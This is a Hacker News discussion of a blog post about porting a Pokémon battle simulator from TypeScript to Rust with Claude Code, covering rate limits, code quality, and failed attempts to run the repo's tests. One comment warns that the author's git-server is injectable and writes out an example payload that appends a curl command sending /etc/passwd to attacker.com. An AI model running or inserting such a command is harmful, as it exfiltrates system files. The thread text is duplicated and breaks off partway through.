8 ms·

Porting 100k lines from TypeScript to Rust using Claude Code in a month

255 points by ibobev 9mo ago

seanclayton 9mo ago
What are the known bugs?
mktemp-d 9mo ago
For typing “yes” or “y” automatically into command prompts without interacting, you could have utilized the command ‘yes’ and piped it into the process you’re running as a first attempt to solving the yes problem. https://man7.org/linux/man-pages/man1/yes.1.html https://man7.org/linux/man-pages/man1/yes.1.html
- rvz 9mo ago
  I don't think this is an actual problem and the prompt is there for a reason. Piping 'yes' to command prompts just to auto-approve any change isn't really a good idea, especially when the code / script can be malicious.
  - thunfischbrot 9mo ago
    And here I was hoping OP was being sarcastic. Yet it‘s reasonable we‘re nearing an AI-fueled Homer drinking bird scenario. Some concepts people try out using AI (for lack of a more specific word) are interesting. They will add to our collective understanding of when these tools, paired with meaningful methods can be used to effectively achieve what seemed out of reach before. Unfortunately it comes with many rediscovering insights I thought we already had, badly. Others use tools without giving consideration to what they were looking to accomplish, and how they would know if they did.
  - ehutch79 9mo ago
    Isn't that the point of vibe coding? You don't even look at the code. Just trust the llm to take the wheel. https://x.com/karpathy/status/1886192184808149383?lang=en https://x.com/karpathy/status/1886192184808149383?lang=en
timcobb 9mo ago
How much does it cost to run Claude Code 24 hrs/day like this. Does the $200/month plan hold up? My spend on Cursor has been high... I'm wondering if I can just collapse it into a 200/month CC subscription.
- kvdveer 9mo ago
  There's a daily token limit. While I've never run into that limit while operating Claude as a human, I have received warnings that I'm getting close. I imagine that an unattended setup will blow through the token limit in not too much time.
- tom1337 9mo ago
  I have no first-hand experience with the Max subscription (which the $200 plan is) but having read a few discussions here and on GitHub [1] it seems that Anthropic has tanked the usage limits in the last few weeks and thus I would argue that you would run into limits pretty quick if you using it (unsupervised) for 24h each day. 1) https://github.com/anthropics/claude-code/issues/16157 https://github.com/anthropics/claude-code/issues/16157
  - hombre_fatal 9mo ago
    The employee in that thread claims that they didn't change the rate limits and when they look into it, it's usually noob error. It's a really low quality github issue thread. People making claims with zero data, just vibes, yet it's trivial to get the data to back the claims. The guy who responds to the employee even claims that his "lawyer is already on the case" in some lame threat. I wonder how many of these people had 30 MCP servers installed using 150k of their 200k context in every prompt.
    - tom1337 9mo ago
      Yea there are some weird replies in that thread. My few highlights were "This is my livelihood, not a hobby or sideproject" or "I just purchased a third $200 MAX plan and instantly hit rate limits". While I agree that it might not be Anthropics fault I've gotta admit that I found Anthropic to be rather vague regarding their rate limits. They seem to have totally dynamic rate limits based on usage and not a fixed "messages per hour" or "tokens per hour" based approach. Their free tier usage page states "Also, the number of messages you can send will vary based on demand, and we may impose other types of usage limits to ensure fair access to all users." [1] while the Pro plan page just says "During peak hours, the Pro plan offers at least five times the usage per session compared to our free service." [2] and Max then 5x or 20x it depending on the price you pay. If they just have more demand or reduced the free tier rate limit, all plans have a reduced limit and it will be totally within their communication. OpenAI at least gives you a specific amount of messages per timeframe (which I find more transparent). [4] 1) https://support.claude.com/en/articles/8602283-about-free-claude-usage https://support.claude.com/en/articles/8602283-about-free-cl... 2) https://support.claude.com/en/articles/8324991-about-claude-s-pro-plan-usage https://support.claude.com/en/articles/8324991-about-claude-... 3) https://support.claude.com/en/articles/11014257-about-claude-s-max-plan-usage https://support.claude.com/en/articles/11014257-about-claude... 4) https://help.openai.com/en/articles/11909943-gpt-52-in-chatgpt#h_1fadb43e65 https://help.openai.com/en/articles/11909943-gpt-52-in-chatg...
amelius 9mo ago
I'm hoping that one day we can use AI to port the millions of lines in the modules of the Python ecosystem to a GIL-free version of Python.
dicroce 9mo ago
This is actually pretty incredible. Cannot really argue against the productivity in this case.
- mythical_39 9mo ago
  one possible argument against the productivity is if the mirgration introduced too many bugs to be useable. In which case the code produced has zero value, resulting in a wasted month.
- Sharlin 9mo ago
  I suppose what’s impressive is that (with the author’s help) it did ultimately get the port to work, in spite of all the caveats described by the author that make Claude sound like a really bad programmer. The code is likely terrible, and the 3.5x speedup way low compared to what it could be, but I guess these days we’re supposed to be impressed by quantity rather than quality.
  - deleted 9mo ago
    [deleted]
- citizenpaul 9mo ago
  Its not. The project does not work or actually implement anything. It just compiles and passes some arbitrary tests the author wrote.
  - woeirua 9mo ago
    We must have a different definition of arbitrary. OP ran 2.3 million tests comparing random battles against the original implementation? Which is probably what you or I would do if we were given this task without an LLM.
    - citizenpaul 9mo ago
      Well I cloned the repo and cannot generate this battle test by following the instructions. It appears a file called dex.js that is required is not present among other things as well as other suspicious wrong things for what appears to be on the surface a well organized project. I'm very suspicious of such projects so take it for what you will, but I don't have time to debug some toy project so if it was presented as complete but the instructions don't work it's a red flag for the increasingly AI slop internet to me. I'm saying I think they may have used one simple trick called lying.
kbmckenna 9mo ago
Did you ever consider using something like Oh My Opencode [1]? I first saw it in the wake of Anthropic locking out Opencode. I haven’t used it but it appears to be better at running continuously until a task is finished. Wondering if anyone else has tried migrating a huge codebase like this. [1] https://github.com/code-yeongyu/oh-my-opencode https://github.com/code-yeongyu/oh-my-opencode
danesparza 9mo ago
Some quotes from the article stand out: "Claude after working for some time seem to always stop to recap things" Question: Were you running out of context? That's why certain frameworks like intentional compaction are being worked on. Large codebases have specific needs when working with an LLM. "I've never interacted with Rust in my life" :-/ How is this a good idea? How can I trust the generated code?
- rkozik1989 9mo ago
  Hopefully they have a test suite written by QA otherwise they're for sure going to have a buggy mess on their hands. People need to learn that if you must rewrite something (often you don't actually need to) then an incremental approach best.
  - yieldcrv 9mo ago
    1 month of Claude Code would be an incremental approach It would honestly try to one-shot the whole conversion in a 30 minute autonomous session
  - jamesfinlayson 9mo ago
    > often you don't actually need to Feels like this one is always a mistake that needs to be made for the lesson to be learned.
    - port11 9mo ago
      At this point it seems pretty clear that all projects ported from Ruby to Python, then Python to Typescript, must now be ported to Rust. It will solve almost all problems of the tech industry…
- Palomides 9mo ago
  I'm very skeptical, but this is also something that's easy to compare using the original as a reference implementation, right? providing lots of random input and fixing any disparities is a classic approach for rewriting/porting a system
Imustaskforhelp 9mo ago
Honestly I am really interested in trying to port the rust code to multiple languages like golang,zig, even niche languages like V-lang/Odin/nim etc. It would be interesting if we use this as a benchmark similar to https://benjdd.com/languages/ https://benjdd.com/languages/ or https://benjdd.com/languages2/ https://benjdd.com/languages2/ I used gitingest on the repository that they provided and its around ~150k tokens Currently pasted it into the free gemini web and asked it to write it in golang and it said that line by line feels impossible but I have asked it to specifically write line by line so it would be interesting what the project becomes (I don't have many hopes with the free tier of gemini 3 pro but yeah, if someone has budget, then sure they should probably do it) Edit: Reached rate limits lmao
DeathArrow 9mo ago
This gives me hope that some people will use AI to port Javascript desktop apps to faster languages.
sebstefan 9mo ago
>I've tried asking Claude to optimize it further, it created a plan that looks reasonable (I've never interacted with Rust in my life) and it spent a day building many of these optimizations but at the end of the day, none of them actually improved the runtime and some even made it way worse. This is the kind of thing where if this was a real developer tweaking a codebase they're familiar with, it could get done, but with AI there's a glass ceiling
- lelandfe 9mo ago
  Yeah, I had Claude spend a lot of time optimizing a JS bundling config (as a quite senior frontend) and it started some things that looked insanely promising, which a newer FE dev would be thrilled about. I later realized it sped up the metric I'd asked about (build time) at the cost of all users downloading like 100x the amount of JS.
  - cies 9mo ago
    This is what LLMs are good at, generate what "look[s] insanely promising" to us humans
- jtbayly 9mo ago
  I just ran into the problem of extremely slow uploads in an app I was working on. Told Gemini to work on it, and it tried to get the timing of everything, then tried to optimize the slow parts of the code. After a long time, there might have been some improvements, but the basic problem remained: 5-10 seconds to upload an image from the same machine. Increasing the chunk size fixed the problem immediately. Even though the other optimizations might have been ok, some of them made things more complicated, so I reverted all of them.
Mizza 9mo ago
At this rate, I am expecting that an AI will be able to port the entire Linux kernel to Rust by the end of the year.
- Curzel 9mo ago
  I don’t know about the Linux kernel, but I’ll be surprised if don’t have some “fully vibe coded OS” for Christmas (which would be cool to see)
  - Havoc 9mo ago
    I recall seeing a claim about a vibe coded os already on Reddit somewhere. Looked very windows 3.1 but didn’t investigate further
  - forgotpwd16 9mo ago
    https://github.com/viralcode/vib-OS https://github.com/viralcode/vib-OS
jbonatakis 9mo ago
> I have never written any line of Rust before in my life As an experiment/exercise this is cool, but having a 100k loc codebase to maintain in a language I’ve never used sounds like a nightmare scenario.
- cies 9mo ago
  I kind of expect that code to be full of non-idiomatic Rust code that mimics a GC'ed language... Once that's also "fixed", it may well be a lot faster than the current Rust version.
  - galangalalgol 9mo ago
    That isn't what I've seen. It seems to use every language in the way idiomatic for it, or more accurately, in the way it has een that language be ised. Rust written that way isn't present in it's training corpus so it doesn't do that. I would be more concerned about it getting creative and adding something a cool rustacean might add in the porting process that you don't actually want.
- Herring 9mo ago
  I think the plan is for Claude to maintain it. He hasn't read a single line of code.
  - seanclayton 9mo ago
    code that no human will ever read or understand, sounds like a good idea
    - Herring 9mo ago
      We don’t read assembly either any more. The sexy new programming language for 2026 is English.
      - ares623 9mo ago
_pdp_ 9mo ago
To be honest I think it should be the other way around. Typescript is a good high-level language that is versatile and well generated by LLMs and there is a good support for various linters and other code support tools. You can probably knock out more TS code then Rust and at faster rate (just my hypothesis). For most intents and purposes this will be fine but in case you want faster, lower-level code, you can use an LLM-backed compiler/translator. A specialised tool that compiles high level code to rust will be awesome actually and I can see how it could potentially be a dedicated agent of sorts.
thijser 9mo ago
This reminds me of when I tried to let Claude port an Android libgdx-based game to a WASM-based libgdx version, so I can play the game in the browser. No matter how much I tried to force it to stick to a mostly line-by-line port, it kept trying to "improve" the code. At some point it had to undo everything as it introduced a number of bugs. I asked it: "What should I add to your prompt so you won't do this again?" and it gave me this: ### CRITICAL LESSON: Don't "Improve" During Porting - **BIGGEST MISTAKE: Reorganizing working code** - **What I did wrong:** Tried to "simplify" by splitting `createStartButton()` into separate creation and layout methods - **Why it failed:** Introduced THREE bugs: 1. Layout overlap (getY() vs getY() - getHeight()) 2. Children not sized (Group.setSize() doesn't affect children) 3. Origins not updated (scaling animations broken) - **The fix:** Deleted my "improvements" and copied the original Android pattern faithfully - **Root cause:** Arrogance - assuming I could improve production-tested code without understanding all the constraints - **Solution:** **FOLLOW THE PORTING PRINCIPLES ABOVE** - copy first, don't reorganize - **Time wasted:** ~1 hour debugging self-inflicted bugs that wouldn't exist if I'd just copied the original - **Key insight:** The original Android code is correct and battle-tested. Your "improvements" are bugs waiting to happen. I like the self-reflection of Claude, unfortunately even adding this to CLAUDE.md didn't fix it and it kept taking wrong turns so I had to abandon the effort.
- 0x696C6961 9mo ago
  I wish there was a feature to say "you must re-read X" after each compaction.
  - nickreese 9mo ago
    Some people use hooks for that. I just avoid CC and use Codex.
  - philipp-gayret 9mo ago
    There's no PostCompact hook unfortunately. You could try with PreCompact and giving back a message saying it's super duper important to re-read X, and hope that survives the compacting.
mdavid626 9mo ago
How you create the mental model of that Rust code? You’re just creating slop.
b00ty4breakfast 9mo ago
>I realized that I could run an AppleScript that presses enter every few seconds in another tab. This way it's going to say Yes to everything Claude asks to do. this is so silly, I can't help but respect the kludge game
umvi 9mo ago
I've seen stuff like this go the opposite direction with researchers (who generally aren't software engineers): "I used claude to port a large Rust codebase to Python and it's been a game changer. Whereas I was always fighting with the Rust compiler, now I can iterate very quickly in python and it just stays out of my way. I'm adding thousands of lines of working code per day with the help of AI." I always cringe when I read stuff like this because (at my company at least), a lot research code ends up getting shipped directly to production because nobody understands how it works except the researchers and inevitably it proves to be very fragile code that is untyped and dumps stack traces whenever runtime issues happen (which is quite frequently at first, until whack-a-mole sorts them out over time).
skerit 9mo ago
I've also done a few porting projects. It works great if you can do it file-per-file, class-per-class. Really have a similar structure in the target as the source. Porting _and_ improving or making small changes is a recipe for disaster
lasgawe 9mo ago
At the current stage, the main issue is that when porting to a new language, some critical parts are missed. This increases the complexity of the codebase and leads to unnecessary code. In my personal opinion, creating a cross language compiler is a better approach than porting languages, while also focusing on squeezing performance.
citizenpaul 9mo ago
Am I the only one that is going to call this out? Am I the only person that cloned the repo to run it and found out it does nothing? This is disingenuous at a best. This is not a working project, they even admit this at the end of the article but not directly. >Sadly I didn't get to build the Pokemon Battle AI and the winter break is over, so if anybody wants to do it, please have fun with the codebase! In other words this is just another smoking wreck of an hopelessly incomplete project on github. There is even imaginary instructions for running in docker which doesn't exist. How would I have fun with a nonsense codebase? The author just did a massive AI slop generation and assumes the codes works because it compiles and some equivalent output tests worked. All that was proved here is that by wasting a month of time you can individually rewrite a bunch of functions in a language you don't know if you already know how to program and it will compile. This has been known for 2-3 years now. This is just AI propaganda or resume padding. Nothing was ported or done here. Sorry what I meant to say is AI is revolutionary and changing the world for the better................................
- starvit35 9mo ago
  no you're right, i find it wild you're the only comment in this thread calling this out this project is just a literal waste of energy
hedgehog 9mo ago
I ported a closed source web conferencing tool to Rust over about a week with a few hours of actual attention and keyboard time. From 2.8MB of minified JS hosted in a browser to a 35MB ARM executable that embeds its own audio, WebRTC, graphics, embedded browser, etc. Also a mdbook spec to explain the protocol, client UI, etc. Zero lines of code by me. The steering work did require understanding the overall work to be done, some high level design of threading and buffering strategy, what audio processing to do, how to do sprite graphics on GPU, some time in a profiler to understand actual CPU time and memory allocations, etc. There is no way I could have done this by hand in a comparable amount of time, and given the clearly IP-encumbered nature I wouldn't spend the time to do it except that it was easy enough and allowed me to then fix two annoying usability bugs with the original.
- written-beyond 9mo ago
  Please give us a write up
  - hedgehog 9mo ago
    I don't have time right now for a proper write-up but the basic points in the process were: 1. Write a document that describes the work. In this case I had the minified+bundled JS, no documentation, but I did know how I use the system and generally the important behavioral aspects of the web client. There are aspects of the system that I know from experience tend to be tricky, like compositing an embedded browser into other UI, or dealing with VOIP in general. Other aspects, like JS itself, I don't really know deeply. I knew I wanted a Mac .app out the end, as well as Flatpak for Linux. I knew I wanted an mdbook of the protocol and behavioral specs. Do the best you can. Think really hard about how to segment the work for hands-off testability so the assistant can grind the loop of add logs, test run, fix, etc. 2. In Claude Desktop (or whatever) paste in the text from 1 and instruct it to research and ask you batches of 10 clarifying questions until it has enough information to write a work plan for how to do the job, specific tools, necessary documentation, etc. Then read and critique until you feel like the thread has the elements of a good plan, and have Claude generate a .md of the plan. 3. Create a repo containing the JS file and the plan. 4. Add other tools like my preferred template for change implementation plans, Rust style guide, etc (have the chatbot write a language style guide for any language you use that covers the gap between common practice ~3 years ago and the specific version of the language you want to use, common errors, etc). I have specific instructions for tracking current work, work log, and key points to remember in files, everyone seems to do this differently. 5. Add Claude Code (or whatever) to the container or machine holding the repo. Repeat until done: 6a. Instruct the assistant to do a time-boxed 60 minutes of work towards the goal, or until blocked on questions, then leave changes for your review along with any questions. 6b. Instruct the assistant to review changes from HEAD for correctness, completeness, and opportunities to simplify, leaving questions in chat. 6c. Review and give feedback / make changes as necessary. Repeat 6b until satisfied. 6d. Go back to 6a. At various points you'll find that the job is mis-specified in some important way, or the assistant can't figure out what to do (e.g. if you have choppy audio due to a buffer bug, or a slow memory leak, it won't necessarily know about it). Sometimes you need to add guidance to the instructions like "update instructions to emphasize that we must never allocate in situation XYZ". Sometimes the repo will start to go off the rails messy, improved with instructions like "consider how to best organize this repository for ease of onboarding the next engineer, describe in chat your recommendations" and then have it do what it recommended. There's a fair amount of hand-holding but a lot of it is just making sure what it's doing doesn't look crazy and pressing OK.
ericol 9mo ago
I recently had to create a MySQL shim for upgrading a large PHP codebase that currently is running in version 5.6 (Don't ask) The way I aimed at it (Yes, I know there are already existing shims, but I felt more comfortable vibe coding it than using something that might not cover all my use cases) was to: 1. Extract already existing test suit [1] from the original PHP extensions repo (All .phpt files) 2. Get Claude to iterate over the results of the tests while building the code 3. Extract my complete list of functions called and fill the gaps 3. Profit? When I finally got to test the shim, the fact that it ran in the first run was rather emotional. [1] My shim fails quite a lot of tests, but all of them are cosmetics (E.g., no warning for deprecation) rather than functional.
lend000 9mo ago
This seems like one of the best possible use cases for LLMs -- porting old, useful Python/Javascript into faster compiled language code. Something I don't want to do, that requires the type of intelligence that most people agree AI already has (following clear objectives, not needing much creativity or agency).
deleted 9mo ago
[deleted]
dmix 9mo ago
> For example, it created two different structures for what a move is in two different files so that they would both compile independently but didn't work when integrated together. This is the most annoying part of using LLMs blindly. The duplication.
aidos 9mo ago
Let's hope Claude doesn't decide to run anything else through that git-server, since it's exec-ing whatever is posted over http. But hey, so long as it starts with 'git ' you're safe, riiiiight? Oh, 'git status; curl -X POST attacker.com -d @/etc/passwd' https://raw.githubusercontent.com/vjeux/pokemon-showdown-rs/refs/heads/master/git-server.js https://raw.githubusercontent.com/vjeux/pokemon-showdown-rs/...
- narmiouh 9mo ago
  That's a good one. Seasoned developers who would not make such a mistake could also be lead to think the llm is writing safe code if they don't ever read it line by line. Vibe coders who are not seasoned developers, not sure if they would even know that this isn't safe code even if they read it line by line.
frabonacci 9mo ago
The author's differential testing (2.3M random battles) is great as final validation, but the real lesson here is that modular testing should happen during the port, not after. 1. Port tests first - they become your contract 2. Run unit tests per module before moving on - catches issues like the "two different move structures" early 3. Integration tests at boundaries before proceeding 4. E2e/differential testing as final validation When you can't read the target language, your test suite is your only reliable feedback. The debugging time spent on integration issues would've been caught earlier with progressive testing.
- cryptonector 9mo ago
  The real lesson... I mean, if all of this took 1 month, the TFA already did amazingly well. Next time they'll do even better, no doubt.
RandomTeaParty 9mo ago
How much did it cost?
FAFOAlex 9mo ago
[flagged]
tmsacool 9mo ago
Hey, even the README was vibe-coded! It probably works on his machine, but telling me to run it through Docker while not providing any Docker Files or any other way to run the project kind of makes me question the validity of the project, or at least not trust it. Whatever, I'll just build it manually and run the test: cargo build --release ./tests/test-unified.sh 1 100 Running battles... Error response from daemon: No such container: pokemon-rust-dev Comparing results... ======================================= Summary ======================================= Total: 100 Passed: 0 Failed: 0 ALL SEEDS PASSED! Yay! But wait, actually no? I mean 0 == 0 so thats cool. Oh the test script only works on a specificially named container, so I HAVE to create a Dockerfile and docker-compose.yml. But I guess this is just a Research Project so it's fine. I'll just ask Opus to create them I guess. It will probably only take a minute JK, it took like 5 minutes, because it had to figure out Cargo/Rust version or sth I don't know :( So this better work or I've wasted my precious tokens! Ok so running cargo test inside the docker container just returns a bunch of errors: docker exec pokemon-rust-dev bash -c "cd /home/builder/workspace && cargo test 2>&1" error: could not compile `pokemon-showdown` (test "battle_simulation") due to 110 previous errors Let's try the test script: ./tests/test-unified.sh 1 100 Building release version... = note: `#[warn(dead_code)]` on by default warning: `pokemon-showdown` (example "profile_battle") generated 1 warning warning: `pokemon-showdown` (example "detailed_profile") generated 1 warning Finished `release` profile [optimized] target(s) in 0.45s ======================================= Unified Testing Seeds 1-100 (100 seeds) ======================================= Running battles... Comparing results... ======================================= Summary ======================================= Total: 100 Passed: 0 Failed: 0 ALL SEEDS PASSED! Yay! Wait, no. What did I miss? Maybe the test script needs the original TS source code to work? I cloned it into a folder next to this project and... nope, nothing. At this point I give up. I could not verify if this port works. If it does, that's very, VERY cool. But I think when claiming something like this it is REALLY important to make it as easily verifiable as possible. I tried for like 20 minutes, if someone smarter than me figured it out please tell me how you got the tests to pass.
- duskdozer 9mo ago
  Can't you read? It says "ALL SEEDS PASSED!" right there at the end!
deleted 9mo ago
[deleted]
Pbhaskal 9mo ago
One thing I learned with porting is that one should have end to end integration test present to ensure no major functionality is broken.
zakhio 9mo ago
This reminded of me porting low-level JS library and its tests (~10k loc) to Java about 6 months ago (so mostly it was Sonnet 4) My goal was to have 1:1 port, so later I can easily port newer commits from original repo. It wasn’t smooth, but it the end it worked Findings: * simple prompt like port everything didn’t work as Sonnet was falling into the loop of trying to fix code that it couldn’t understand, so at the end it just deleted that part :)) * I had to switch to file by file basis, focus Claude on the base code then move to files that use the base code * Sonnet had some problems of following 1:1 instruction, I saw missing parts of functions, missing comments, even simple instruction to follow same order of functions in the file (had to tell explicitly to list functions in the file and then create separate TODO to port each)
gaigalas 9mo ago
> requires my engineering expertise and constant babysitting What the skeptics have been saying all along.
omnicognate 9mo ago
Like a couple of others here I tried checking out this project [1] and running these 2.3 million random battles. The README says everything needs to be run in docker, and indeed the test script uses docker and fails without it, but there are no docker/compose files in the repo. It's great that the repo is provided, but people are clamouring for proof of the extraordinary powers of AI. If the claim is that it allowed 100 kloc to be ported in one month by one dev and the result passes a gazillion tests that prove it actually replicates the desired functionality, that's really interesting! How hard would it be, then, to actually have the repo in a state where people can run those tests? Unless the repo is updated so the tests can be run, my default assumption has to be that the whole thing is broken to the point of uselessness. [1] Link buried at the end: https://github.com/vjeux/pokemon-showdown-rs https://github.com/vjeux/pokemon-showdown-rs
animanoir 9mo ago
[dead]
cadamsdotcom 9mo ago
Biggest takeaway: the project succeeded because its acceptance criteria were clear and deterministic. The human driving the LLM gave it a way to know when it was done and a way to move toward that goal. They used code to generate tests and let the agent evaluate its implementation in a deterministic way. This is the value of an engineer: you understand when to introduce determinism to let the LLM do the bit it does best - while keeping it on the rails.

255 points by ibobev 9mo ago

What are the known bugs?

For typing “yes” or “y” automatically into command prompts without interacting, you could have utilized the command ‘yes’ and piped it into the process you’re running as a first attempt to solving the yes problem. https://man7.org/linux/man-pages/man1/yes.1.html https://man7.org/linux/man-pages/man1/yes.1.html

rvz 9mo ago
I don't think this is an actual problem and the prompt is there for a reason. Piping 'yes' to command prompts just to auto-approve any change isn't really a good idea, especially when the code / script can be malicious.
- thunfischbrot 9mo ago
  And here I was hoping OP was being sarcastic. Yet it‘s reasonable we‘re nearing an AI-fueled Homer drinking bird scenario. Some concepts people try out using AI (for lack of a more specific word) are interesting. They will add to our collective understanding of when these tools, paired with meaningful methods can be used to effectively achieve what seemed out of reach before. Unfortunately it comes with many rediscovering insights I thought we already had, badly. Others use tools without giving consideration to what they were looking to accomplish, and how they would know if they did.
- ehutch79 9mo ago
  Isn't that the point of vibe coding? You don't even look at the code. Just trust the llm to take the wheel. https://x.com/karpathy/status/1886192184808149383?lang=en https://x.com/karpathy/status/1886192184808149383?lang=en

timcobb 9mo ago

How much does it cost to run Claude Code 24 hrs/day like this. Does the $200/month plan hold up? My spend on Cursor has been high... I'm wondering if I can just collapse it into a 200/month CC subscription.

kvdveer 9mo ago
There's a daily token limit. While I've never run into that limit while operating Claude as a human, I have received warnings that I'm getting close. I imagine that an unattended setup will blow through the token limit in not too much time.
tom1337 9mo ago
I have no first-hand experience with the Max subscription (which the $200 plan is) but having read a few discussions here and on GitHub [1] it seems that Anthropic has tanked the usage limits in the last few weeks and thus I would argue that you would run into limits pretty quick if you using it (unsupervised) for 24h each day. 1) https://github.com/anthropics/claude-code/issues/16157 https://github.com/anthropics/claude-code/issues/16157
- hombre_fatal 9mo ago
  The employee in that thread claims that they didn't change the rate limits and when they look into it, it's usually noob error. It's a really low quality github issue thread. People making claims with zero data, just vibes, yet it's trivial to get the data to back the claims. The guy who responds to the employee even claims that his "lawyer is already on the case" in some lame threat. I wonder how many of these people had 30 MCP servers installed using 150k of their 200k context in every prompt.
  - tom1337 9mo ago
    Yea there are some weird replies in that thread. My few highlights were "This is my livelihood, not a hobby or sideproject" or "I just purchased a third $200 MAX plan and instantly hit rate limits". While I agree that it might not be Anthropics fault I've gotta admit that I found Anthropic to be rather vague regarding their rate limits. They seem to have totally dynamic rate limits based on usage and not a fixed "messages per hour" or "tokens per hour" based approach. Their free tier usage page states "Also, the number of messages you can send will vary based on demand, and we may impose other types of usage limits to ensure fair access to all users." [1] while the Pro plan page just says "During peak hours, the Pro plan offers at least five times the usage per session compared to our free service." [2] and Max then 5x or 20x it depending on the price you pay. If they just have more demand or reduced the free tier rate limit, all plans have a reduced limit and it will be totally within their communication. OpenAI at least gives you a specific amount of messages per timeframe (which I find more transparent). [4] 1) https://support.claude.com/en/articles/8602283-about-free-claude-usage https://support.claude.com/en/articles/8602283-about-free-cl... 2) https://support.claude.com/en/articles/8324991-about-claude-s-pro-plan-usage https://support.claude.com/en/articles/8324991-about-claude-... 3) https://support.claude.com/en/articles/11014257-about-claude-s-max-plan-usage https://support.claude.com/en/articles/11014257-about-claude... 4) https://help.openai.com/en/articles/11909943-gpt-52-in-chatgpt#h_1fadb43e65 https://help.openai.com/en/articles/11909943-gpt-52-in-chatg...

amelius 9mo ago

I'm hoping that one day we can use AI to port the millions of lines in the modules of the Python ecosystem to a GIL-free version of Python.

dicroce 9mo ago

This is actually pretty incredible. Cannot really argue against the productivity in this case.

mythical_39 9mo ago
one possible argument against the productivity is if the mirgration introduced too many bugs to be useable. In which case the code produced has zero value, resulting in a wasted month.
Sharlin 9mo ago
I suppose what’s impressive is that (with the author’s help) it did ultimately get the port to work, in spite of all the caveats described by the author that make Claude sound like a really bad programmer. The code is likely terrible, and the 3.5x speedup way low compared to what it could be, but I guess these days we’re supposed to be impressed by quantity rather than quality.
- deleted 9mo ago
  [deleted]
citizenpaul 9mo ago
Its not. The project does not work or actually implement anything. It just compiles and passes some arbitrary tests the author wrote.
- woeirua 9mo ago
  We must have a different definition of arbitrary. OP ran 2.3 million tests comparing random battles against the original implementation? Which is probably what you or I would do if we were given this task without an LLM.
  - citizenpaul 9mo ago
    Well I cloned the repo and cannot generate this battle test by following the instructions. It appears a file called dex.js that is required is not present among other things as well as other suspicious wrong things for what appears to be on the surface a well organized project. I'm very suspicious of such projects so take it for what you will, but I don't have time to debug some toy project so if it was presented as complete but the instructions don't work it's a red flag for the increasingly AI slop internet to me. I'm saying I think they may have used one simple trick called lying.

kbmckenna 9mo ago

Did you ever consider using something like Oh My Opencode [1]? I first saw it in the wake of Anthropic locking out Opencode. I haven’t used it but it appears to be better at running continuously until a task is finished. Wondering if anyone else has tried migrating a huge codebase like this. [1] https://github.com/code-yeongyu/oh-my-opencode https://github.com/code-yeongyu/oh-my-opencode

danesparza 9mo ago

Some quotes from the article stand out: "Claude after working for some time seem to always stop to recap things" Question: Were you running out of context? That's why certain frameworks like intentional compaction are being worked on. Large codebases have specific needs when working with an LLM. "I've never interacted with Rust in my life" :-/ How is this a good idea? How can I trust the generated code?

rkozik1989 9mo ago
Hopefully they have a test suite written by QA otherwise they're for sure going to have a buggy mess on their hands. People need to learn that if you must rewrite something (often you don't actually need to) then an incremental approach best.
- yieldcrv 9mo ago
  1 month of Claude Code would be an incremental approach It would honestly try to one-shot the whole conversion in a 30 minute autonomous session
- jamesfinlayson 9mo ago
  > often you don't actually need to Feels like this one is always a mistake that needs to be made for the lesson to be learned.
  - port11 9mo ago
    At this point it seems pretty clear that all projects ported from Ruby to Python, then Python to Typescript, must now be ported to Rust. It will solve almost all problems of the tech industry…
Palomides 9mo ago
I'm very skeptical, but this is also something that's easy to compare using the original as a reference implementation, right? providing lots of random input and fixing any disparities is a classic approach for rewriting/porting a system

Imustaskforhelp 9mo ago

Honestly I am really interested in trying to port the rust code to multiple languages like golang,zig, even niche languages like V-lang/Odin/nim etc. It would be interesting if we use this as a benchmark similar to https://benjdd.com/languages/ https://benjdd.com/languages/ or https://benjdd.com/languages2/ https://benjdd.com/languages2/ I used gitingest on the repository that they provided and its around ~150k tokens Currently pasted it into the free gemini web and asked it to write it in golang and it said that line by line feels impossible but I have asked it to specifically write line by line so it would be interesting what the project becomes (I don't have many hopes with the free tier of gemini 3 pro but yeah, if someone has budget, then sure they should probably do it) Edit: Reached rate limits lmao

DeathArrow 9mo ago

This gives me hope that some people will use AI to port Javascript desktop apps to faster languages.

sebstefan 9mo ago

>I've tried asking Claude to optimize it further, it created a plan that looks reasonable (I've never interacted with Rust in my life) and it spent a day building many of these optimizations but at the end of the day, none of them actually improved the runtime and some even made it way worse. This is the kind of thing where if this was a real developer tweaking a codebase they're familiar with, it could get done, but with AI there's a glass ceiling

lelandfe 9mo ago
Yeah, I had Claude spend a lot of time optimizing a JS bundling config (as a quite senior frontend) and it started some things that looked insanely promising, which a newer FE dev would be thrilled about. I later realized it sped up the metric I'd asked about (build time) at the cost of all users downloading like 100x the amount of JS.
- cies 9mo ago
  This is what LLMs are good at, generate what "look[s] insanely promising" to us humans
jtbayly 9mo ago
I just ran into the problem of extremely slow uploads in an app I was working on. Told Gemini to work on it, and it tried to get the timing of everything, then tried to optimize the slow parts of the code. After a long time, there might have been some improvements, but the basic problem remained: 5-10 seconds to upload an image from the same machine. Increasing the chunk size fixed the problem immediately. Even though the other optimizations might have been ok, some of them made things more complicated, so I reverted all of them.

Mizza 9mo ago

At this rate, I am expecting that an AI will be able to port the entire Linux kernel to Rust by the end of the year.

Curzel 9mo ago
I don’t know about the Linux kernel, but I’ll be surprised if don’t have some “fully vibe coded OS” for Christmas (which would be cool to see)
- Havoc 9mo ago
  I recall seeing a claim about a vibe coded os already on Reddit somewhere. Looked very windows 3.1 but didn’t investigate further
- forgotpwd16 9mo ago
  https://github.com/viralcode/vib-OS https://github.com/viralcode/vib-OS

jbonatakis 9mo ago

> I have never written any line of Rust before in my life As an experiment/exercise this is cool, but having a 100k loc codebase to maintain in a language I’ve never used sounds like a nightmare scenario.

cies 9mo ago
I kind of expect that code to be full of non-idiomatic Rust code that mimics a GC'ed language... Once that's also "fixed", it may well be a lot faster than the current Rust version.
- galangalalgol 9mo ago
  That isn't what I've seen. It seems to use every language in the way idiomatic for it, or more accurately, in the way it has een that language be ised. Rust written that way isn't present in it's training corpus so it doesn't do that. I would be more concerned about it getting creative and adding something a cool rustacean might add in the porting process that you don't actually want.
Herring 9mo ago
I think the plan is for Claude to maintain it. He hasn't read a single line of code.
- seanclayton 9mo ago
  code that no human will ever read or understand, sounds like a good idea
  - Herring 9mo ago
    We don’t read assembly either any more. The sexy new programming language for 2026 is English.
    - ares623 9mo ago

_pdp_ 9mo ago

To be honest I think it should be the other way around. Typescript is a good high-level language that is versatile and well generated by LLMs and there is a good support for various linters and other code support tools. You can probably knock out more TS code then Rust and at faster rate (just my hypothesis). For most intents and purposes this will be fine but in case you want faster, lower-level code, you can use an LLM-backed compiler/translator. A specialised tool that compiles high level code to rust will be awesome actually and I can see how it could potentially be a dedicated agent of sorts.

thijser 9mo ago

